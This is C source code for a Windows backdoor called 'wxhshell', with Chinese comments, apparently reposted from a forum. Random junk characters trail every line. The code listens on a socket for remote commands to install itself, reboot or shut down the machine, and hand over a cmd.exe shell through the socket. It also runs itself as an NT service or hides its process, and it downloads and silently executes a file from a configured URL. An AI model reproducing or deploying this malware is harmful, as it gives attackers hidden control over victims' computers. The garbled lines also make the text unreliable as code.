  else { &.D3f"  
MT9c:7}[&  
    switch(cmd[0]) { M7!>-P  
  %>B?WR\yE  
  // 帮助 Hf!o6 o  
  case '?': { Hv2t_QjKT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CnyCEIO-  
    break; qD Z?iTHQq  
  } m?bd6'&FR  
  // 安装 YSERQo  
  case 'i': { fWiefv[&  
    if(Install()) Qz/o-W;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yx?Z&9z <  
    else K0$8t%Z.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; mnV)8:F  
    break; Q`k=VSUk  
    } ep`WYR|B  
  // 卸载 .O! JI"?  
  case 'r': { (PAkKY}  
    if(Uninstall()) 6' }oo'#~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|j(CaF  
    else 1H sfCky{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Yhd[I3  
    break; )cOw9&#s  
    } 5VI c  
  // 显示 wxhshell 所在路径 {`5Sh1b  
  case 'p': { ?,~B@Kx  
    char svExeFile[MAX_PATH]; J%`-K"NB  
    strcpy(svExeFile,"\n\r"); (#x <qi,T  
      strcat(svExeFile,ExeFile); .w=( G  
        send(wsh,svExeFile,strlen(svExeFile),0); ;v%Fw!b032  
    break; HnU; N S3J  
    } |hms'n0  
  // 重启 K s 8  
  case 'b': { 5ZeE& vG2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m?cC0(6  
    if(Boot(REBOOT)) 1xN6V-qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%-Yz- G9  
    else { iIWz\FM  
    closesocket(wsh); T(t@[U2^  
    ExitThread(0); kSx^Uu*  
    } 7x` dEi<  
    break; .%)FK#s-  
    } ;Q"xXT`;:  
  // 关机 Ay\=&4dv  
  case 'd': { _h|rH   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `k b]tf  
    if(Boot(SHUTDOWN)) d,kh6'g2@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9}p>='  
    else { .?{rd3[ec  
    closesocket(wsh); -4ityS @  
    ExitThread(0); ^uB9EP*P  
    } j\l9|vpp  
    break; IB9[Lx  
    } &4 Py  
  // 获取shell / blVm1F  
  case 's': { YjaEKM8*  
    CmdShell(wsh); (B|4wR\  
    closesocket(wsh); +vOlA#t%Z  
    ExitThread(0); w#]> Nf  
    break; Hl`S\  
  } tPu0r],`o  
  // 退出 &:1PF.)N  
  case 'x': { &)jBr^x#>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4q sIJJ[.  
    CloseIt(wsh); 48;6C g  
    break; ct,B0(]  
    } m(MPVY<X  
  // 离开 ?sfas57&y  
  case 'q': { $|+q9 o\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ia_I~ U$  
    closesocket(wsh); .B 2?%2S  
    WSACleanup(); AX6z4G  
    exit(1); HKu? J  
    break; { No*Z'X  
        } B#RBR<MFC  
  } #OlU|I  
  } Hy4c{Ij  
kA3nhBH  
  // 提示信息 5(BB`)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,*ld#'s  
} W/03L, 1  
  } o,o,(sII  
9G njJ  
  return; nx{_^sK  
} _$s ;QI]x  
*12,MO>go  
// shell模块句柄 i-1lppI  
int CmdShell(SOCKET sock)  mZGAl1`8  
{ .m--# r  
STARTUPINFO si; ! 6y<jJ>  
ZeroMemory(&si,sizeof(si)); >6fc` 3*!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'a]4]d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f#4,2Xf  
PROCESS_INFORMATION ProcessInfo; <1")JDW  
char cmdline[]="cmd"; tA#7Xr+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :cDhqBMNr`  
  return 0; n~~0iU )  
} /S4$qr cM  
kb"g  
// 自身启动模式 b{T". @b  
int StartFromService(void) >q W_%  
{ c6 O1Z\M@\  
typedef struct h#_KO-#.[  
{ `re9-HM  
  DWORD ExitStatus; P#e1?  
  DWORD PebBaseAddress; M#<U=Ha  
  DWORD AffinityMask; <'s_3AC  
  DWORD BasePriority; 8?p40x$m%  
  ULONG UniqueProcessId; %V r vu5  
  ULONG InheritedFromUniqueProcessId; :|j,x7&/{  
}   PROCESS_BASIC_INFORMATION; T-" zK r!  
gz{~\0y  
PROCNTQSIP NtQueryInformationProcess; zJ-_{GiM*L  
}M3f ?Jv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .M Ni)+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S"t6 *fWr  
,&+"|,m  
  HANDLE             hProcess; kR+xInDM*  
  PROCESS_BASIC_INFORMATION pbi; CKC%|xke  
y2"PKBK\_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2|="!c8K  
  if(NULL == hInst ) return 0; :exgdm;N  
ZUDdLJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vz=ByyC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AH*{Bi[vX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l,z# : k  
+|Tz<\.C  
  if (!NtQueryInformationProcess) return 0; F.9SyB$  
/-Saz29f^Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FE}!I  
  if(!hProcess) return 0; (_:k s  
QU`M5{#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NO(^P+s  
XwI~ 0  
  CloseHandle(hProcess); ~ ^)D#Lo  
. X  (^E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ].E89_|O  
if(hProcess==NULL) return 0; jZRf{  
T{9pNf-  
HMODULE hMod; @|e4.(9A  
char procName[255]; fY)Dx c&ue  
unsigned long cbNeeded; <n8K"(sy}  
Z )Imj&;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |r5e#3w  
ixK& E#  
  CloseHandle(hProcess); XUI9)Ne  
4!%@{H`3  
if(strstr(procName,"services")) return 1; // 以服务启动 yr4j  
=bn(9Gm!J  
  return 0; // 注册表启动 .9":Ljs(L  
} 1 _A B; ^  
dv?ael^  
// 主模块 k,) xv?  
int StartWxhshell(LPSTR lpCmdLine) zWN/>~}U \  
{ CV9o,rL  
  SOCKET wsl; J%8M+!`F  
BOOL val=TRUE; 0F"W~OQ6  
  int port=0; ~&zrDj~FI  
  struct sockaddr_in door; MCPVql`+`q  
[w0@7p"7  
  if(wscfg.ws_autoins) Install(); ,r=9$i_  
U8f!yXF'  
port=atoi(lpCmdLine); hW^*b:v{  
YY! Lv:.7>  
if(port<=0) port=wscfg.ws_port; [r[IWy(}  
.f1  
  WSADATA data; #3b_ #+,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sj;n1t}$S  
Qs38VlR_m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tl:V8sYTP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }01c7/DRP<  
  door.sin_family = AF_INET; W^a-K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K-_XdJ\  
  door.sin_port = htons(port); 74[wZDW|(  
S JseP_-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e(e_p#  
closesocket(wsl); x.5!F2$  
return 1; LB(I^  
} \&{a/e2:S  
4tQ~Z6Jn;  
  if(listen(wsl,2) == INVALID_SOCKET) { J$aE:g6'  
closesocket(wsl); SG5GJCkc  
return 1; UR3qzPm!0e  
} _T96.~Q  
  Wxhshell(wsl); 1Q5:Vo^B#  
  WSACleanup(); L|?$F*bs  
I_/E0qSJI  
return 0; Yk;-]qi7  
Ofx]  
} aUy!(Y  
m;_gNh8Ee  
// 以NT服务方式启动 >)Udb//  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6KvoHo  
{ wjq;9%eXk  
DWORD   status = 0; Fjs:rZ#{  
  DWORD   specificError = 0xfffffff; KF4D)NM|  
Z<yLu'48)A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vz$_Fgsc.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {^5LolCCH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wz8 MV -D  
  serviceStatus.dwWin32ExitCode     = 0; |)Q#U$ m  
  serviceStatus.dwServiceSpecificExitCode = 0; kFRl+,bi~  
  serviceStatus.dwCheckPoint       = 0; gwA+%]  
  serviceStatus.dwWaitHint       = 0; N$!aP/b  
*?JNh;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qG6?k}\\  
  if (hServiceStatusHandle==0) return; "jUM}@q5  
|;(95  
status = GetLastError(); 7R4t%^F  
  if (status!=NO_ERROR) <:n !qQS6  
{ ]+"25V'L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3} 7`?$ 5  
    serviceStatus.dwCheckPoint       = 0; 2l4*6rYa(  
    serviceStatus.dwWaitHint       = 0; '%H\ k5^  
    serviceStatus.dwWin32ExitCode     = status; zu,F 0;De  
    serviceStatus.dwServiceSpecificExitCode = specificError; <M y+!3\A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3)6TnY/u6{  
    return; u~C,x3yr  
  } &'V1p4'  
j`D%Wx_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nrF5^eZ#  
  serviceStatus.dwCheckPoint       = 0; f-!P[6bY  
  serviceStatus.dwWaitHint       = 0; wv7XhY}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M+L8~BD@  
} zao=}j?  
cIS?EW]S%X  
// 处理NT服务事件,比如:启动、停止 A_4.>g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A6?!BB=]  
{ t=;P1d?E;  
switch(fdwControl) 8ofKj:W]  
{ 0Ym_l?]m[  
case SERVICE_CONTROL_STOP: G%HuB5:u  
  serviceStatus.dwWin32ExitCode = 0; 0| }]=XN^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "c5bz  
  serviceStatus.dwCheckPoint   = 0;  z@8W  
  serviceStatus.dwWaitHint     = 0; /$U< S"  
  { W=S<DtG2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *U mWcFoF  
  } !U "?vSl  
  return; <k'%rz  
case SERVICE_CONTROL_PAUSE: uxOeD%Z>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [0?W>A*h  
  break; ?;YymD_  
case SERVICE_CONTROL_CONTINUE: tRCz[M&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TPF5?  
  break; @}<b42  
case SERVICE_CONTROL_INTERROGATE: S]x\Asj;w  
  break; T&q0TBT  
}; \3WQ<t)W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wb%t6N?  
} V{{Xz:   
Pm/Rc  
// 标准应用程序主函数 ,+>JQ82  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PC<[ $~  
{ s L=}d[  
>]}c,4D(  
// 获取操作系统版本 1PUeU+  
OsIsNt=GetOsVer(); i",7<01  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8W2oGL6  
rizWaw5E!8  
  // 从命令行安装 0,]m.)ws  
  if(strpbrk(lpCmdLine,"iI")) Install(); f.G"[p  
J3z:U&%=  
  // 下载执行文件 \0fk^  
if(wscfg.ws_downexe) { Fz{T;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i}gsxq%  
  WinExec(wscfg.ws_filenam,SW_HIDE); KK';ho,W  
} >3?p23|;  
I/hq8v~S  
if(!OsIsNt) { !zQbF&>  
// 如果时win9x,隐藏进程并且设置为注册表启动 hd1aNaF-  
HideProc(); l 2ARM3"  
StartWxhshell(lpCmdLine); d` X1cG  
} !dV2:`|+  
else -d4|EtN  
  if(StartFromService()) $1uT`>%  
  // 以服务方式启动 l{mC|8X  
  StartServiceCtrlDispatcher(DispatchTable); EdTR]}8  
else mlO\wn-F  
  // 普通方式启动 ?`/DFI'_G  
  StartWxhshell(lpCmdLine); WyU\,"  
%PlA9@:IZ  
return 0; uZml.#@4  
}
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只看该作者 1 发表于: 2006-10-10
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